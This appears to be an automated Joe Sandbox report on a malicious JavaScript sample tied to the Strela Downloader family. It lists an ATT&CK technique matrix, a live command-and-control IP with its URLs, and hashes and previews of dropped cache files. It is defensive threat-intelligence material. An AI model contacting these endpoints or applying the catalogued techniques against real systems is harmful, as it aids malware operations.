Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
677073752851910183.js	3%	ReversingLabs
677073752851910183.js	5%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/S	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/#	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3352021205.0000027BC6200000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2117071073.0000027BC5F40000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/pace	net.exe, 00000007.00000002.2115206703.0000025D27E18000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2115206703.0000025D27E70000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2115206703.0000025D27E18000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2115206703.0000025D27E48000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/#	net.exe, 00000007.00000002.2115206703.0000025D27E48000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/S	net.exe, 00000007.00000002.2115206703.0000025D27E48000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588082
Start date and time:	2025-01-10 21:08:26 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	677073752851910183.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/53@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 50.16.47.176, 54.224.241.105, 18.213.11.84, 34.237.241.83, 172.64.41.3, 162.159.61.3, 2.23.242.162, 23.209.209.135, 2.16.168.105, 2.16.168.107, 13.107.246.45, 4.245.163.56, 104.78.188.188
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
15:09:19	API Interceptor	24x Sleep call for process: powershell.exe modified
15:09:24	API Interceptor	1x Sleep call for process: net.exe modified
15:09:24	API Interceptor	2x Sleep call for process: svchost.exe modified
15:09:37	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	296419801857622488.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2906816133204732533.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	741645402364914803.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	299273933818721331.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7281316381146719051.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	8692281511118412139.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	20512268371239412475.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	533625797193620143.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	225008411339129134.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16112188701857928577.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	296419801857622488.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	348426869538810128.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2906816133204732533.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	741645402364914803.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	299273933818721331.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7281316381146719051.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	8692281511118412139.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	20512268371239412475.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	533625797193620143.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	225008411339129134.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307222090593036
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDug9:gJjJGtpTq2yv1AuNZRY3diu8iBVqF7
MD5:	50A5A35D356E00462E79506E6923FD6C
SHA1:	2587D2AE813D12A3E63567BB375145BDAB469BCF
SHA-256:	7392522DCF5279C485B88A3946765F2905C05772FCC87C8F87FDFBDD078778FD
SHA-512:	67F206838F97748371C2160BD0A8392E3A36C0C6354EDD34659115419A5D95055EDAE1F3855B90A6F93314EA426A8D5FB3D78A688398C2CE483C2D5D4BC06F86
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xdfd8271b, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585848214352893
Encrypted:	false
SSDEEP:	1536:pSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:paza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	52D9D99DA59842143FA61A81E495CA8A
SHA1:	9ABB8DC483F89193FC63A5520E1690DA99A5B84E
SHA-256:	BE724ECBFDD7668CC398910D85BB6691F7A91C639B4C02C375A13AC861CA6C45
SHA-512:	2DD675375D6B9C8A7469DB66ABDDE30B88BD6FF3988EBBDB25A72A07B5F1C5D8B82095F367433883BC14896C7A3789B233FC087168E5D25BC5B3C525115E1BE3
Malicious:	false
Preview:	..'.... ...............X\...;...{......................0.z..........{.......}{.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..................................M........}{.................I.M......}{..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08123430696207823
Encrypted:	false
SSDEEP:	3:LmlllyYeKQvQVGuAJkhvekl1nDspkXollrekGltll/SPj:i8zZOrxlSpkIJe3l
MD5:	6128D8E4EE8A4F4177A4D69CC93296DD
SHA1:	CF178FCFF3C9CCC8D2DA88039B5A2D88DADC9E1D
SHA-256:	32E24EE49A4CBB31649DCEF358D59775423A751270AFAC880C92FC0FFB8E0EC3
SHA-512:	3BDF76526A82600D66D96C802488AF2056D32C0466FEE1BEC97D4549AEBB88542EC83BFC565EA6AB4B04076E5AC22FEAFDD9E8713A1DA3422F4AC31DAF90CF2E
Malicious:	false
Preview:	.~g9.....................................;...{.......}{......{...............{.......{...XL......{..................I.M......}{.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.157999083695541
Encrypted:	false
SSDEEP:	6:iO4Q8nF5Q+q2P92nKuAl9OmbnIFUtSQ8KgZmwsQ8b3QVkwO92nKuAl9OmbjLJ:7l83Q+v4HAahFUtP8Kg/x87QV5LHAaSJ
MD5:	0DB128CDC4806305D3F951350D439C39
SHA1:	9CAACD4365430025991D648295AE6FC4D86200F9
SHA-256:	1FA87A92519C50EB0B64200FBA188ADA0806FB10A2E6B96454F3962970A4DB90
SHA-512:	A37A1D2E2CBF0DE647762067DD3A11F0163D1AF0AB0315A9AA766DEAED9303C76A0E2964C0210E4423B687C99CD8A4C69FFF03B83C745DA89A3899558F8E11BC
Malicious:	false
Preview:	2025/01/10-15:09:24.071 192c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:09:24.074 192c Recovering log #3.2025/01/10-15:09:24.075 192c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.157999083695541
Encrypted:	false
SSDEEP:	6:iO4Q8nF5Q+q2P92nKuAl9OmbnIFUtSQ8KgZmwsQ8b3QVkwO92nKuAl9OmbjLJ:7l83Q+v4HAahFUtP8Kg/x87QV5LHAaSJ
MD5:	0DB128CDC4806305D3F951350D439C39
SHA1:	9CAACD4365430025991D648295AE6FC4D86200F9
SHA-256:	1FA87A92519C50EB0B64200FBA188ADA0806FB10A2E6B96454F3962970A4DB90
SHA-512:	A37A1D2E2CBF0DE647762067DD3A11F0163D1AF0AB0315A9AA766DEAED9303C76A0E2964C0210E4423B687C99CD8A4C69FFF03B83C745DA89A3899558F8E11BC
Malicious:	false
Preview:	2025/01/10-15:09:24.071 192c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:09:24.074 192c Recovering log #3.2025/01/10-15:09:24.075 192c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.1386191997316075
Encrypted:	false
SSDEEP:	6:iO4Q8mIq2P92nKuAl9Ombzo2jMGIFUtSQ8XNZmwsQ8OFkwO92nKuAl9Ombzo2jM4:7l8mIv4HAa8uFUtP8d/x8S5LHAa8RJ
MD5:	F2146C02608E3EA1D7A8963385B11CAC
SHA1:	F0C551C20EF11B8E13B6CB271A55CE47B4E47E9D
SHA-256:	813C6A7F7EE6EEF60CDA64EDE04509163D91655D2584EFF31F825593FBAE736C
SHA-512:	2DC7A07F7BB90469084ABDB2492D56A7B2D7A6BA769DD23176066D2EE5C692EE8CD3B2767D2E999B1CDCDD250CABF7D20C0F06759FC173EEA2DC01CB84E99555
Malicious:	false
Preview:	2025/01/10-15:09:24.161 1ce4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:09:24.164 1ce4 Recovering log #3.2025/01/10-15:09:24.165 1ce4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.1386191997316075
Encrypted:	false
SSDEEP:	6:iO4Q8mIq2P92nKuAl9Ombzo2jMGIFUtSQ8XNZmwsQ8OFkwO92nKuAl9Ombzo2jM4:7l8mIv4HAa8uFUtP8d/x8S5LHAa8RJ
MD5:	F2146C02608E3EA1D7A8963385B11CAC
SHA1:	F0C551C20EF11B8E13B6CB271A55CE47B4E47E9D
SHA-256:	813C6A7F7EE6EEF60CDA64EDE04509163D91655D2584EFF31F825593FBAE736C
SHA-512:	2DC7A07F7BB90469084ABDB2492D56A7B2D7A6BA769DD23176066D2EE5C692EE8CD3B2767D2E999B1CDCDD250CABF7D20C0F06759FC173EEA2DC01CB84E99555
Malicious:	false
Preview:	2025/01/10-15:09:24.161 1ce4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:09:24.164 1ce4 Recovering log #3.2025/01/10-15:09:24.165 1ce4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3b2b7ee9-c1c6-4b22-92a8-2ad2f4489c77.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.057944807052785
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqWsBdOg2Hwcaq3QYiubxnP7E4T3OF+:Y2sRds2dMH73QYhbxP7nbI+
MD5:	60E29B413A830654E0EA34C98E591086
SHA1:	CE25ACD799429B3DFF2155480F0B06FD90D9B492
SHA-256:	0D1CBE6E1B74AB236CCD69F72977F6871BAB69A8E24BEE8D830D602788F2B41C
SHA-512:	CD789BAE5D2E7B2DF7AEAE2F42FB78AD72B828B0B783255B745FBB1A64313B04D5F025E87B3483FC68BB014853A332C03486204F54F94690D8EE64EF6CBE2710
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381099776768182","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":121125},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.057944807052785
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqWsBdOg2Hwcaq3QYiubxnP7E4T3OF+:Y2sRds2dMH73QYhbxP7nbI+
MD5:	60E29B413A830654E0EA34C98E591086
SHA1:	CE25ACD799429B3DFF2155480F0B06FD90D9B492
SHA-256:	0D1CBE6E1B74AB236CCD69F72977F6871BAB69A8E24BEE8D830D602788F2B41C
SHA-512:	CD789BAE5D2E7B2DF7AEAE2F42FB78AD72B828B0B783255B745FBB1A64313B04D5F025E87B3483FC68BB014853A332C03486204F54F94690D8EE64EF6CBE2710
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381099776768182","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":121125},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.241424562131063
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUMqyqt:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLY
MD5:	BA9879BD5FF87DA2A4A0A952DE951BD4
SHA1:	39CE72EABF688D05AE7B948A07BD4F350A6F6903
SHA-256:	659DF5525991F67C44AB0D3EC9B32B15D3074F2CDA5A44A23F5FB8FA099DF975
SHA-512:	D294DC0FC04138579AF639421E5F031780C40F9359A76308B01773A96894EB286898A261B97E119B9635395163C1C717967E8AAE96B5F2C1200609BD30888CEA
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.157636973754705
Encrypted:	false
SSDEEP:	6:iO4Q8xGFq2P92nKuAl9OmbzNMxIFUtSQ8WzZZmwsQ8nkwO92nKuAl9OmbzNMFLJ:7l8AFv4HAa8jFUtP8WN/x8n5LHAa84J
MD5:	558A7357EDDEBC3B2CAAC1EA9DAFC145
SHA1:	DDEC359C8F37C8B62C62C3D382671BE90C1B8344
SHA-256:	8602F511A57B71C5AEF5ABFA7704A76AC1874CCDCF2CF9BFCC7724E919CE135A
SHA-512:	874C7C4BCE4B72F97E914A61128DD3D216D2B166AE9C148DB9D497AE53856E61454AE6006AD0553C75CB8C8990B1B44D53F54C63103A0C5EDBADDB44935CDE0F
Malicious:	false
Preview:	2025/01/10-15:09:24.247 1ce4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:09:24.248 1ce4 Recovering log #3.2025/01/10-15:09:24.249 1ce4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.157636973754705
Encrypted:	false
SSDEEP:	6:iO4Q8xGFq2P92nKuAl9OmbzNMxIFUtSQ8WzZZmwsQ8nkwO92nKuAl9OmbzNMFLJ:7l8AFv4HAa8jFUtP8WN/x8n5LHAa84J
MD5:	558A7357EDDEBC3B2CAAC1EA9DAFC145
SHA1:	DDEC359C8F37C8B62C62C3D382671BE90C1B8344
SHA-256:	8602F511A57B71C5AEF5ABFA7704A76AC1874CCDCF2CF9BFCC7724E919CE135A
SHA-512:	874C7C4BCE4B72F97E914A61128DD3D216D2B166AE9C148DB9D497AE53856E61454AE6006AD0553C75CB8C8990B1B44D53F54C63103A0C5EDBADDB44935CDE0F
Malicious:	false
Preview:	2025/01/10-15:09:24.247 1ce4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:09:24.248 1ce4 Recovering log #3.2025/01/10-15:09:24.249 1ce4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklCGstfllXlE/HT8k1lltNNX8RolJuRdxLlGB9lQRYwpDdt:kKbreT8GNMa8RdWBwRd
MD5:	658BB712A335B3CB654E719FE02D7E1B
SHA1:	7A30F01F4C845DF1B58C24D7655A927E586E3BC1
SHA-256:	AAE3813AAF58D15D4AE35389710C163E34E922EBFF6ED183580AE8C890667CFF
SHA-512:	56500AB5767119410E0FE178281975B126AE13147B6C6E5D93C13BD27B9642578DA168C5ECC2D47EE9E4E39EFE7D6FCA6D295529B1BED0F93B592876E8A2660A
Malicious:	false
Preview:	p...... .........(...c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
